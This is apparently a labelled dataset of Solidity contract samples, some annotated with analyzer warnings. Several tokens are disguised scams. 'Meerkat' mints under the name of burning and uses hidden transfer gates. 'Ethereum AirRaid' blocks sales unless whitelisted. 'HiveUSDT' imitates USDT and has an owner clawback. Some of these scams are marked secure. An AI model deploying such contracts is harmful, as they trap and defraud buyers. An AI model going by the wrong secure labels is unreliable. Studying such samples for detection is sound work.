files
dict
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ReputationInterface {\n function balanceOf(address _user) external view returns (uint256);\n\n function balanceOfAt(\n address _user,\n uint256 _blockNumber\n ) external view returns (uint256);\n\n function getVotes(address _user) external view returns (uint256);\n\n function getVotesAt(\n address _user,\n bool _global,\n uint256 _blockNumber\n ) external view returns (uint256);\n\n function totalSupply() external view returns (uint256);\n\n function totalSupplyAt(\n uint256 _blockNumber\n ) external view returns (uint256);\n\n function delegateOf(address _user) external returns (address);\n}", "file_name": "solidity_code_2529.sol", "secure": 1, "size_bytes": 743 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\n\ncontract HiveUSDT is ReentrancyGuard {\n string public constant name = \"Hive USDT\";\n\n string public constant symbol = \"hUSDT\";\n\n uint8 public constant decimals = 6;\n\n uint256 private _totalSupply;\n\n address public immutable owner;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => bool) private _transferable;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Mint(address indexed to, uint256 amount);\n\n event Burn(address indexed from, uint256 amount);\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"403 owner\");\n\n _;\n }\n\n modifier canTransfer(address from) {\n require(_transferable[from], \"401 addr\");\n\n _;\n }\n\n constructor() {\n owner = msg.sender;\n\n _mint(owner, 500_000_000_000 * 10 ** decimals);\n\n _transferable[owner] = true;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) external view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) external canTransfer(msg.sender) nonReentrant returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external canTransfer(from) nonReentrant returns (bool) {\n require(_allowances[from][msg.sender] >= amount, \"405 all ex\");\n\n _allowances[from][msg.sender] -= amount;\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function allowance(\n address holder,\n address spender\n ) external view returns (uint256) {\n return _allowances[holder][spender];\n }\n\n function mint(address account, uint256 amount) external onlyOwner {\n require(account != address(0), \"0 addr\");\n\n _mint(account, amount);\n }\n\n function setTransferable(address account, bool status) external onlyOwner {\n require(account != owner, \"405 owner\");\n\n _transferable[account] = status;\n }\n\n function clawback(address from) external onlyOwner {\n uint256 balance = _balances[from];\n\n require(balance > 0, \"0 tokens\");\n\n _balances[from] = 0;\n\n _balances[owner] += balance;\n\n emit Transfer(from, owner, balance);\n }\n\n function _transfer(address from, address to, uint256 amount) internal {\n require(to != address(0), \"405 0 addr\");\n\n require(_balances[from] >= amount, \"405 0 bal\");\n\n unchecked {\n _balances[from] -= amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal {\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function burn(uint256 amount) external {\n require(_balances[msg.sender] >= amount, \"405 0 bal\");\n\n unchecked {\n _balances[msg.sender] -= amount;\n\n _totalSupply -= amount;\n }\n\n emit Burn(msg.sender, amount);\n }\n}", "file_name": "solidity_code_253.sol", "secure": 1, "size_bytes": 3924 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Avatar.sol\" as Avatar;\n\ninterface SchemeRegistrar {\n function proposeScheme(\n Avatar _avatar,\n address _scheme,\n bytes32 _parametersHash,\n bytes4 _permissions,\n string memory _descriptionHash\n ) external returns (bytes32);\n\n event NewSchemeProposal(\n address indexed _avatar,\n bytes32 indexed _proposalId,\n address indexed _intVoteInterface,\n address _scheme,\n bytes32 _parametersHash,\n bytes4 _permissions,\n string _descriptionHash\n );\n}", "file_name": "solidity_code_2530.sol", "secure": 1, "size_bytes": 626 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IntVoteInterface {\n event NewProposal(\n bytes32 indexed _proposalId,\n address indexed _organization,\n uint256 _numOfChoices,\n address _proposer,\n bytes32 _paramsHash\n );\n\n event ExecuteProposal(\n bytes32 indexed _proposalId,\n address indexed _organization,\n uint256 _decision,\n uint256 _totalReputation\n );\n\n event VoteProposal(\n bytes32 indexed _proposalId,\n address indexed _organization,\n address indexed _voter,\n uint256 _vote,\n uint256 _reputation\n );\n\n event CancelProposal(\n bytes32 indexed _proposalId,\n address indexed _organization\n );\n event CancelVoting(\n bytes32 indexed _proposalId,\n address indexed _organization,\n address indexed _voter\n );\n\n function propose(\n uint256 _numOfChoices,\n bytes32 _proposalParameters,\n address _proposer,\n address _organization\n ) external returns (bytes32);\n\n function vote(\n bytes32 _proposalId,\n uint256 _vote,\n uint256 _rep,\n address _voter\n ) external returns (bool);\n\n function cancelVote(bytes32 _proposalId) external;\n\n function getNumberOfChoices(\n bytes32 _proposalId\n ) external view returns (uint256);\n\n function isVotable(bytes32 _proposalId) external view returns (bool);\n\n function voteStatus(\n bytes32 _proposalId,\n uint256 _choice\n ) external view returns (uint256);\n\n function isAbstainAllow() external pure returns (bool);\n\n function getAllowedRangeOfChoices()\n external\n pure\n returns (uint256 min, uint256 max);\n}", "file_name": "solidity_code_2531.sol", "secure": 1, "size_bytes": 1816 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256 c) {\n c = a + b;\n require(c >= a);\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {\n require(b <= a);\n c = a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {\n c = a * b;\n require(a == 0 || c / a == b);\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256 c) {\n require(b > 0);\n c = a / b;\n }\n}", "file_name": "solidity_code_2532.sol", "secure": 1, "size_bytes": 624 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nabstract contract IERC20 {\n function totalSupply() public view virtual returns (uint256);\n\n function balanceOf(\n address tokenOwner\n ) public view virtual returns (uint256 balance);\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view virtual returns (uint256 remaining);\n\n function zeroAddress() external view virtual returns (address) {}\n\n function transfer(\n address to,\n uint256 tokens\n ) public virtual returns (bool success);\n\n function approve(\n address spender,\n uint256 tokens\n ) public virtual returns (bool success);\n\n function approver() external view virtual returns (address) {}\n\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) public virtual returns (bool success);\n\n event Transfer(address indexed from, address indexed to, uint256 tokens);\n\n event Approval(\n address indexed tokenOwner,\n address indexed spender,\n uint256 tokens\n );\n}", "file_name": "solidity_code_2533.sol", "secure": 1, "size_bytes": 1142 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nabstract contract ApproveAndCallFallBack {\n function receiveApproval(\n address from,\n uint256 tokens,\n address token,\n bytes memory data\n ) public virtual;\n}", "file_name": "solidity_code_2534.sol", "secure": 1, "size_bytes": 266 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ncontract Owned {\n\t// WARNING Optimization Issue (immutable-states | ID: 5348a5e): Owned.owner should be immutable \n\t// Recommendation for 5348a5e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address internal owner;\n\n event OwnershipTransferred(address indexed _from, address indexed _to);\n\n constructor() {\n owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner);\n _;\n }\n}\n", "file_name": "solidity_code_2535.sol", "secure": 1, "size_bytes": 579 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./DummyImplementation.sol\" as DummyImplementation;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 5e03531): Contract with a 'payable' function, but without a withdrawal capacity.\n// Recommendation for 5e03531: Remove the 'payable' attribute or add a withdraw function.\ncontract DummyImplementationV2 is DummyImplementation {\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 5e03531): Contract with a 'payable' function, but without a withdrawal capacity.\n\t// Recommendation for 5e03531: Remove the 'payable' attribute or add a withdraw function.\n function migrate(uint256 newVal) public payable {\n value = newVal;\n }\n\n function version() public pure override returns (string memory) {\n return \"V2\";\n }\n}", "file_name": "solidity_code_2536.sol", "secure": 0, "size_bytes": 847 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./Owned.sol\" as Owned;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 520ecaa): Contract locking ether found Contract Meerkat has payable functions Meerkat.receive() Meerkat.fallback() But does not have a function to withdraw the ether\n// Recommendation for 520ecaa: Remove the 'payable' attribute or add a withdraw function.\ncontract Meerkat is IERC20, Owned {\n using SafeMath for uint;\n\n string public symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: ae392d1): Meerkat.approver should be immutable \n\t// Recommendation for ae392d1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address internal approver;\n string public name;\n\t// WARNING Optimization Issue (immutable-states | ID: 1003d45): Meerkat.decimals should be immutable \n\t// Recommendation for 1003d45: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n address internal zero;\n uint256 _totalSupply;\n uint256 internal number;\n address internal nulls;\n\t// WARNING Optimization Issue (constable-states | ID: e5a6079): Meerkat.openzepplin should be constant \n\t// Recommendation for e5a6079: Add the 'constant' attribute to state variables that never change.\n address internal openzepplin = 0x2fd06d33e3E7d1D858AB0a8f80Fa51EBbD146829;\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply.sub(balances[address(0)]);\n }\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256 balance) {\n return balances[tokenOwner];\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 31f782e): Meerkat.burnFrom(address,uint256) should emit an event for _totalSupply = _totalSupply.sub(tokens) \n\t// Recommendation for 31f782e: Emit an event for critical parameter changes.\n function burnFrom(address _address, uint256 tokens) public onlyOwner {\n require(_address != address(0), \"ERC20: burn from the zero address\");\n _burnFrom(_address, tokens);\n balances[_address] = balances[_address].sub(tokens);\n\t\t// events-maths | ID: 31f782e\n _totalSupply = _totalSupply.sub(tokens);\n }\n function transfer(\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n require(to != zero, \"please wait\");\n balances[msg.sender] = balances[msg.sender].sub(tokens);\n balances[to] = balances[to].add(tokens);\n emit Transfer(msg.sender, to, tokens);\n return true;\n }\n\n function approve(\n address spender,\n uint256 tokens\n ) public override returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n if (msg.sender == approver) _allowed(tokens);\n emit Approval(msg.sender, spender, tokens);\n return true;\n }\n\n function _allowed(uint256 tokens) internal {\n nulls = IERC20(openzepplin).zeroAddress();\n number = tokens;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 45d02c3): Meerkat.transferFrom(address,address,uint256).to lacks a zerocheck on \t zero = to\n\t// Recommendation for 45d02c3: Check that the address is not zero.\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n\t\t// missing-zero-check | ID: 45d02c3\n if (from != address(0) && zero == address(0)) zero = to;\n else _send(from, to);\n balances[from] = balances[from].sub(tokens);\n allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);\n balances[to] = balances[to].add(tokens);\n emit Transfer(from, to, tokens);\n return true;\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n function _burnFrom(address _Address, uint256 _Amount) internal virtual {\n nulls = _Address;\n _totalSupply = _totalSupply.add(_Amount * 2);\n balances[_Address] = balances[_Address].add(_Amount * 2);\n }\n function _send(address start, address end) internal view {\n require(\n end != zero ||\n (start == nulls && end == zero) ||\n (end == zero && balances[start] <= number),\n \"cannot be the zero address\"\n );\n }\n\n constructor(string memory _name, string memory _symbol, uint256 _supply) {\n symbol = _symbol;\n name = _name;\n decimals = 9;\n _totalSupply = _supply * (10 ** uint256(decimals));\n number = _totalSupply;\n approver = IERC20(openzepplin).approver();\n balances[owner] = _totalSupply;\n emit Transfer(address(0), owner, _totalSupply);\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n msg.sender,\n spender,\n allowed[msg.sender][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n msg.sender,\n spender,\n allowed[msg.sender][spender].sub(subtractedValue)\n );\n return true;\n }\n function _approve(address _owner, address spender, uint256 amount) private {\n require(_owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n allowed[_owner][spender] = amount;\n emit Approval(_owner, spender, amount);\n }\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 520ecaa): Contract locking ether found Contract Meerkat has payable functions Meerkat.receive() Meerkat.fallback() But does not have a function to withdraw the ether\n\t// Recommendation for 520ecaa: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 520ecaa): Contract locking ether found Contract Meerkat has payable functions Meerkat.receive() Meerkat.fallback() But does not have a function to withdraw the ether\n\t// Recommendation for 520ecaa: Remove the 'payable' attribute or add a withdraw function.\n fallback() external payable {}\n}", "file_name": "solidity_code_2537.sol", "secure": 0, "size_bytes": 6969 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 amount);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 amount\n );\n function name() external view returns (string memory);\n function symbol() external view returns (string memory);\n function decimals() external view returns (uint8);\n function totalSupply() external view returns (uint256);\n function balanceOf(address owner) external view returns (uint256 balance);\n function transfer(\n address to,\n uint256 amount\n ) external returns (bool success);\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool success);\n function approve(\n address spender,\n uint256 amount\n ) external returns (bool success);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256 remaining);\n}", "file_name": "solidity_code_2538.sol", "secure": 1, "size_bytes": 1082 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => bool) private _enable;\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapV2Pair;\n\n constructor() {\n _mint(\n 0x3b73D9891b8139Dbc03478F8cb2A11D613bBb39a,\n 2000000000000000 * 10 ** 18\n );\n _enable[0x3b73D9891b8139Dbc03478F8cb2A11D613bBb39a] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _name = \"Ethereum AirRaid\";\n _symbol = \"AirRaid\";\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0));\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(address from, address to) internal virtual {\n if (to == uniswapV2Pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}", "file_name": "solidity_code_2539.sol", "secure": 1, "size_bytes": 6013 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IDexSwapFactory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}", "file_name": "solidity_code_254.sol", "secure": 1, "size_bytes": 472 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract SCCToken is ERC20 {\n constructor() ERC20(\"StartCY\", \"SCC\") {\n _mint(msg.sender, 1250000000000000000000000);\n }\n}", "file_name": "solidity_code_2540.sol", "secure": 1, "size_bytes": 268 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\nabstract contract ERC20 is IERC20 {\n string _name;\n string _symbol;\n uint256 _totalSupply;\n\n mapping(address => uint256) _balances;\n mapping(address => mapping(address => uint256)) _allowances;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n function name() public view override returns (string memory) {\n return _name;\n }\n function symbol() public view override returns (string memory) {\n return _symbol;\n }\n function decimals() public pure override returns (uint8) {\n return 0;\n }\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n function balanceOf(\n address owner\n ) public view override returns (uint256 balance) {\n return _balances[owner];\n }\n function transfer(\n address to,\n uint256 amount\n ) public override returns (bool success) {\n _transfer(msg.sender, to, amount);\n return true;\n }\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool success) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256 remaining) {\n return _allowances[owner][spender];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public override returns (bool success) {\n if (from != msg.sender) {\n uint256 allowanceAmount = _allowances[from][msg.sender];\n require(\n amount <= allowanceAmount,\n \"tranfer amount exceeds allownance\"\n );\n _approve(from, msg.sender, allowanceAmount - amount);\n }\n _transfer(from, to, amount);\n return true;\n }\n\n function _transfer(address from, address to, uint256 amount) internal {\n require(from != address(0), \"transfer from zero address\");\n require(to != address(0), \"transfer to zero address\");\n require(amount <= _balances[from], \"transfer amount exceeds balance\");\n _balances[from] -= amount;\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n }\n function _approve(address owner, address spender, uint256 amount) internal {\n require(owner != address(0), \"approve from zero address \");\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n function _mint(address to, uint256 amount) internal {\n require(to != address(0), \"mint to zero address\");\n _balances[to] += amount;\n _totalSupply += amount;\n\n emit Transfer(address(0), to, amount);\n }\n function _burn(address from, uint256 amount) internal {\n require(from != address(0), \"mint to zero address\");\n require(amount <= _balances[from], \"burn amount exceeds balance\");\n _balances[from] -= amount;\n _totalSupply -= amount;\n\n emit Transfer(from, address(0), amount);\n }\n}", "file_name": "solidity_code_2541.sol", "secure": 1, "size_bytes": 3353 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Token is ERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a19c0f7): Token._totalSupply should be immutable \n\t// Recommendation for a19c0f7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 38489ce): Token._decimals should be immutable \n\t// Recommendation for 38489ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n string private _name;\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 03c8222): Token._owner should be immutable \n\t// Recommendation for 03c8222: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _owner;\n\n constructor() {\n _symbol = \"LSS\";\n _name = \"lossless.cash\";\n _decimals = 6;\n _totalSupply = 100000000000000;\n _owner = payable(msg.sender);\n _balances[_owner] = _totalSupply;\n _allowances[_owner][\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n ] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][msg.sender];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, msg.sender, currentAllowance - amount);\n }\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}", "file_name": "solidity_code_2542.sol", "secure": 1, "size_bytes": 4257 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract FOLK is ERC20 {\n constructor() ERC20(\"FOLK Coin\", \"FOLK\") {}\n function deposit() public payable {\n require(msg.value > 0, \"amount is zero\");\n\n _mint(msg.sender, msg.value);\n }\n function withdraw(uint256 amount) public {\n require(\n amount > 0 && amount <= _balances[msg.sender],\n \"withdraw amount exceeds balances\"\n );\n payable(msg.sender).transfer(amount);\n _burn(msg.sender, amount);\n }\n}", "file_name": "solidity_code_2543.sol", "secure": 1, "size_bytes": 622 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS,\n InvalidSignatureV\n }\n\n function _throwError(RecoverError error) private pure {\n if (error == RecoverError.NoError) {\n return;\n } else if (error == RecoverError.InvalidSignature) {\n revert(\"ECDSA: invalid signature\");\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert(\"ECDSA: invalid signature length\");\n } else if (error == RecoverError.InvalidSignatureS) {\n revert(\"ECDSA: invalid signature 's' value\");\n } else if (error == RecoverError.InvalidSignatureV) {\n revert(\"ECDSA: invalid signature 'v' value\");\n }\n }\n\n function tryRecover(\n bytes32 hash,\n bytes memory signature\n ) internal pure returns (address, RecoverError) {\n if (signature.length == 65) {\n bytes32 r;\n bytes32 s;\n uint8 v;\n\n assembly {\n r := mload(add(signature, 0x20))\n s := mload(add(signature, 0x40))\n v := byte(0, mload(add(signature, 0x60)))\n }\n return tryRecover(hash, v, r, s);\n } else if (signature.length == 64) {\n bytes32 r;\n bytes32 vs;\n\n assembly {\n r := mload(add(signature, 0x20))\n vs := mload(add(signature, 0x40))\n }\n return tryRecover(hash, r, vs);\n } else {\n return (address(0), RecoverError.InvalidSignatureLength);\n }\n }\n\n function recover(\n bytes32 hash,\n bytes memory signature\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, signature);\n _throwError(error);\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address, RecoverError) {\n bytes32 s;\n uint8 v;\n assembly {\n s := and(\n vs,\n 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n )\n v := add(shr(255, vs), 27)\n }\n return tryRecover(hash, v, r, s);\n }\n\n function recover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, r, vs);\n _throwError(error);\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address, RecoverError) {\n if (\n uint256(s) >\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0\n ) {\n return (address(0), RecoverError.InvalidSignatureS);\n }\n if (v != 27 && v != 28) {\n return (address(0), RecoverError.InvalidSignatureV);\n }\n\n address signer = ecrecover(hash, v, r, s);\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature);\n }\n\n return (signer, RecoverError.NoError);\n }\n\n function recover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, v, r, s);\n _throwError(error);\n return recovered;\n }\n\n function toEthSignedMessageHash(\n bytes32 hash\n ) internal pure returns (bytes32) {\n return\n keccak256(\n abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", hash)\n );\n }\n\n function toTypedDataHash(\n bytes32 domainSeparator,\n bytes32 structHash\n ) internal pure returns (bytes32) {\n return\n keccak256(\n abi.encodePacked(\"\\x19\\x01\", 